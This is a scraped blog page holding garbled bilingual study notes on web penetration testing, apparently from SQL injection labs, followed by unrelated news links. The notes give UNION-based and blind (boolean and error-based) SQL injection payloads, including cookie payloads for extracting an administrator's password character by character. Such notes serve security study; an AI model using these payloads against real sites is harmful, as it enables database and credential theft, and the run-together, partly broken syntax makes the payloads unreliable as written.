WEB PENETRATION TESTING-- Admin + is + trator
SQLiCtrlu : encode’ 11–PS:After the ’ have a SPACEBut before “–”,have no SPACEUNION-based SQL Injection(1) Determine the number of columnsorder by1✅正常 order by2✅正常 order by3❌报错 OR UNION SELECT NULL ❌报错 UNION SELECT NULL,NULL ✅正常 UNION SELECT NULL,NULL,NULL ❌报错(2) Determine the data types of the columns (must from a table)just know if it’s str# Oracle must have the FROM,so its easy to use FROM dualUNION SELECT NULL,NULL FROM DUAL UNION SELECTa,NULL FROM DUAL UNION SELECT NULL,aFROM DUAL UNION SELECTa,aFROM DUAL#if NULL,a, you could:selectNULL,username||~||password fromusers(3) Output the version of the database数据库版本查询语句OracleSELECT banner FROM v$versionOracleSELECT version FROM v$instanceMicrosoftSELECT versionPostgreSQLSELECT version()MySQLSELECT version# Must match the number of columnUNION SELECT banner, NULL fromv$version--# v$version store version info(4) Output TABLE NAMEUSER_STATS数据库查询所有表查询指定表的列OracleSELECT * FROM all_tablesSELECT * FROM all_tab_columns WHERE table_name TABLE-NAME-HEREMicrosoftSELECT * FROM information_schema.tablesSELECT * FROM information_schema.columns WHERE table_name TABLE-NAME-HEREPostgreSQLSELECT * FROM information_schema.tablesSELECT * FROM information_schema.columns WHERE table_name TABLE-NAME-HEREMySQLSELECT * FROM information_schema.tablesSELECT * FROM information_schema.columns WHERE table_name TABLE-NAME-HEREGoogle:information_schema.tables postgresql to find the “table_name”SELECT*FROMinformation_schema.tablesUNIONSELECTtable_name,NULLFROMinformation_schema.tablesSearch to find the table: “users_vzoxvb”(5) Output COLUMN NAME in tableGoogle:information_schema.columns postgresql to find “column_name” fieldSearch “Table_name” in Response,and use table_name replace the *SELECT*FROMinformation_schema.columnsWHEREtable_nameTABLE-NAME-HEREUNIONSELECTcolumns,NULLFROMinformation_schema.columnsWHEREtable_nametable_name #Typethe users_vzoxvb intotable_namefieldUNIONSELECTcolumn_name,NULLFROMinformation_schema.columnsWHEREtable_nameusers_vzoxvbto Get “username_ggtjng” “password_ccixiu”SELECT COLUMN_NAME FROM all_tab_columns WHERE table_name ‘USERS_DTFKLB’(6) Output Username and PWDUNIONselectusername_ggtjng,password_ccixiu from users_vzoxvbto Rearch “Admin” or Normal UserBlind SQL Injection ResponseDon’t like Union injection that show some data,blind always response “200”.Time-based Blind SQLi could generate cmd which meet specific conditions to dalay the database.(1)Confirm SQLi vulnerable# use the trackingIdselecttracking-idfromtracking-tablewheretrackingIdRvLfBu6s9EZRlVYNCookie: TrackingIdjxuJ6305dQ35cEPz and 11-- - Welcome Cookie: TrackingIdjxuJ6305dQ35cEPzand10-- - No Welcome(2) Confirm that we have a users table# If users table is exist,will output TestIfExistSELECTTestIfExistFROMusers;# So we could test if the users is existingCookie: TrackingIdjxuJ6305dQ35cEPz and (select x from users LIMIT 1)x-- # Confitm the user name is administrator (SELECT a FROM users WHERE usernameadministrator)a Cookie: TrackingIdjxuJ6305dQ35cEPzand(SELECTaFROMusersWHEREusernameadministrator)a--;(3)Determine PWDDetermine the length of PWD,Just use the IntruderCookie:TrackingIdjxuJ6305dQ35cEPz and (SELECT a FROM users WHERE usernameadministratorAND LENGTH(password)20)a--;Then foreach the charCookie:TrackingIdjxuJ6305dQ35cEPz and (SELECT SUBSTRING(password,1,1) FROM users WHERE usernameadministrator)e--Blind SQL Injection ErrorProve that parameter is vulnerable||is to connect str,must use theinstead ofCookie:TrackingIdhzd4cBI1UR0iMgKf||(select from dual)||Confirm users table and administrator# Determine the tableCookie: TrackingIdgiUpOQnNBkR52ME7||(select from users where rownum1)||# rowmun1 is only to retrieve one line# Determine the adminitratorCookie: TrackingIdgiUpOQnNBkR52ME7||(select from users where usernameadminitrator)||(3)Determine the PWDCuz we can’t see the page that have right CMD,so we let the right CMD behavior ERROR,so we can judge the right CMD# If 语句 is right ,we could find the ERROR to judge it is correct.||(SELECT CASE WHEN (语句) THEN TO_CHAR(1/0) ELSE END FROM dual)||# The Real Condition:# Determine Length : SELECT CASE WHEN (LENGTH(password)10)Cookie: TrackingIdgiUpOQnNBkR52ME7||(SELECT CASE WHEN (LENGTH(password)10) THEN TO_CHAR(1/0) ELSE END FROM users WHERE usernameadministrator)||# Determine Char : Notify adminitrator and AND inside the (..... AND substr(password,1,1)a)||(SELECT CASE WHEN (11) THEN TO_CHAR(1/0) ELSE END FROM users WHERE usernameadministrator AND substr(password,1,1)a)||XSS跨站脚本攻击

相关新闻

【专知智库】交易标的不标准,是流动性最大的敌人

【专知智库】交易标的不标准,是流动性最大的敌人

交易标的不标准,是流动性最大的敌人尊敬的交易机构负责人、运营团队:您一定深有体会:数据交易所挂牌的数据产品不少,但真正成交的少。知识产权交易平台登记的专利、软著很多,但真正能交易、能定价、能交割的少。 买方说…

2026/10/14 15:01:06 阅读更多 →
[MoeCTF 2025]mazegame_WP

[MoeCTF 2025]mazegame_WP

通过搜索算法解出最优路径的题目平台:MoeCTF 方向:逆向 知识点:BFS、DFS 难度:入门一、信息获取题目意图就是让输入字符串,走迷宫 二、分析从下面分析发现: n0x37为行数(我更名为row&#xff09…

2026/10/12 16:04:53 阅读更多 →
linux下删除本目录下除了“XXX”目录外的命令

linux下删除本目录下除了“XXX”目录外的命令

Linux下经常会出现有文件的名称变为了特殊字符或乱码,导致无法删除的情况,这个时候我们可以使用一些方法删除,比如:在当前目录下,删除除了 XXX 目录以外的所有内容(包括名称乱码的文件)&#xf…

2026/10/12 1:42:51 阅读更多 →

最新新闻

ASP图书馆管理系统:轻量Web开发的原理与实践

ASP图书馆管理系统:轻量Web开发的原理与实践

简介:这是一套基于ASP技术开发的轻量级Web图书管理系统源码,面向Web开发初学者与高校课程设计学生,用于实践动态网页开发、数据库交互及基础业务逻辑实现。系统以Access为后端数据库,完整覆盖图书查询、借阅登记、归还处理、读者管…

2026/10/18 18:22:57 阅读更多 →
Hermes 依赖缺失报错排查:桌面端本地 AI 智能体搭建与 TaoToken 接入

Hermes 依赖缺失报错排查:桌面端本地 AI 智能体搭建与 TaoToken 接入

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/18 18:22:57 阅读更多 →
Qwen3-TTS 代码包实战:从环境搭建到批量合成与微调

Qwen3-TTS 代码包实战:从环境搭建到批量合成与微调

简介:这份资源是面向语音合成初学者与开发者的Qwen3-TTS实战教程配套代码包,重点解决多语种语音生成中语速、音高、音色难以独立调节的问题。教程从环境准备、快速部署讲到分步实践,手把手带读者生成第一段AI语音,并延伸至视频配音…

2026/10/18 18:22:57 阅读更多 →
Claude Code knowledge-work-plugins 插件实战:slash commands 与 skills 从安装到进阶

Claude Code knowledge-work-plugins 插件实战:slash commands 与 skills 从安装到进阶

1. 从零认识 knowledge-work-plugins:它到底解决什么问题第一次看到knowledge-work-plugins这个仓库名,很多人会下意识以为它又是一个"插件市场"或者"扩展合集"。但如果你真的在 Claude Code 或 Claude Cowork 里干过几天活&#xf…

2026/10/18 18:22:57 阅读更多 →
【Bug已解决】Claude session expired / Authentication token invalid — 用 CC Switch 把认证配置改到 TaoToken 的排查记录

【Bug已解决】Claude session expired / Authentication token invalid — 用 CC Switch 把认证配置改到 TaoToken 的排查记录

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/18 18:22:56 阅读更多 →
n8n CVE-2025-68668漏洞应急响应:24小时处置手册与安全加固指南

n8n CVE-2025-68668漏洞应急响应:24小时处置手册与安全加固指南

半夜被监控告警拉起来,说是生产环境的 n8n 实例正在被人疯狂拉取执行历史。第一反应是有人在调试,再看告警频率,明显是扫描器在批量探测。顺着源 IP 和请求路径追下去,确认是对 CVE-2025-68668 的自动化利用。这个漏洞今天在自动化…

2026/10/18 18:21:56 阅读更多 →

日新闻

基于GMM的语音识别系统原理与MATLAB实现详解

基于GMM的语音识别系统原理与MATLAB实现详解

说到基于高斯混合模型(GMM)的语音识别系统,很多人第一反应就是一堆数学公式,觉得门槛很高。但如果你真的在MATLAB里把它落地跑通,会发现核心其实就是三件事:把声音变成特征向量,用GMM给每个类别…

2026/10/18 0:00:55 阅读更多 →
数字图像处理入门:反白、灰度化、调色板修改与导出txt实践

数字图像处理入门:反白、灰度化、调色板修改与导出txt实践

数字图像处理这四个字听起来挺唬人,但落到具体操作上,无非就是让计算机按你的想法“摆弄”像素。我在一个模拟项目X里用了一套特别经典的基础处理流程:对图像做反白、改调色板、彩色转灰度,最后把像素数据导出成txt文件。单看每一…

2026/10/18 0:00:55 阅读更多 →
机器人大脑技术盘点:具身智能的感知、决策与数据闭环

机器人大脑技术盘点:具身智能的感知、决策与数据闭环

如果你的信息流最近也天天刷到“机器人大脑”这个词,你会发现一个很有意思的现象:每个人说的“大脑”根本不是同一个东西。有人指的是大语言模型,有人指的是运动控制系统,还有人指的是能理解物理世界的端到端模型。在2026年这个时…

2026/10/18 0:00:55 阅读更多 →

周新闻

基于GMM的语音识别系统原理与MATLAB实现详解

基于GMM的语音识别系统原理与MATLAB实现详解

说到基于高斯混合模型(GMM)的语音识别系统,很多人第一反应就是一堆数学公式,觉得门槛很高。但如果你真的在MATLAB里把它落地跑通,会发现核心其实就是三件事:把声音变成特征向量,用GMM给每个类别…

2026/10/18 0:00:55 阅读更多 →
数字图像处理入门:反白、灰度化、调色板修改与导出txt实践

数字图像处理入门:反白、灰度化、调色板修改与导出txt实践

数字图像处理这四个字听起来挺唬人,但落到具体操作上,无非就是让计算机按你的想法“摆弄”像素。我在一个模拟项目X里用了一套特别经典的基础处理流程:对图像做反白、改调色板、彩色转灰度,最后把像素数据导出成txt文件。单看每一…

2026/10/18 0:00:55 阅读更多 →
机器人大脑技术盘点:具身智能的感知、决策与数据闭环

机器人大脑技术盘点:具身智能的感知、决策与数据闭环

如果你的信息流最近也天天刷到“机器人大脑”这个词,你会发现一个很有意思的现象:每个人说的“大脑”根本不是同一个东西。有人指的是大语言模型,有人指的是运动控制系统,还有人指的是能理解物理世界的端到端模型。在2026年这个时…

2026/10/18 0:00:55 阅读更多 →

月新闻

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/18 0:55:02 阅读更多 →
Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/17 17:22:31 阅读更多 →
黑夜航拍船只数据集训练YOLOV5模型全流程解析

黑夜航拍船只数据集训练YOLOV5模型全流程解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/18 12:16:16 阅读更多 →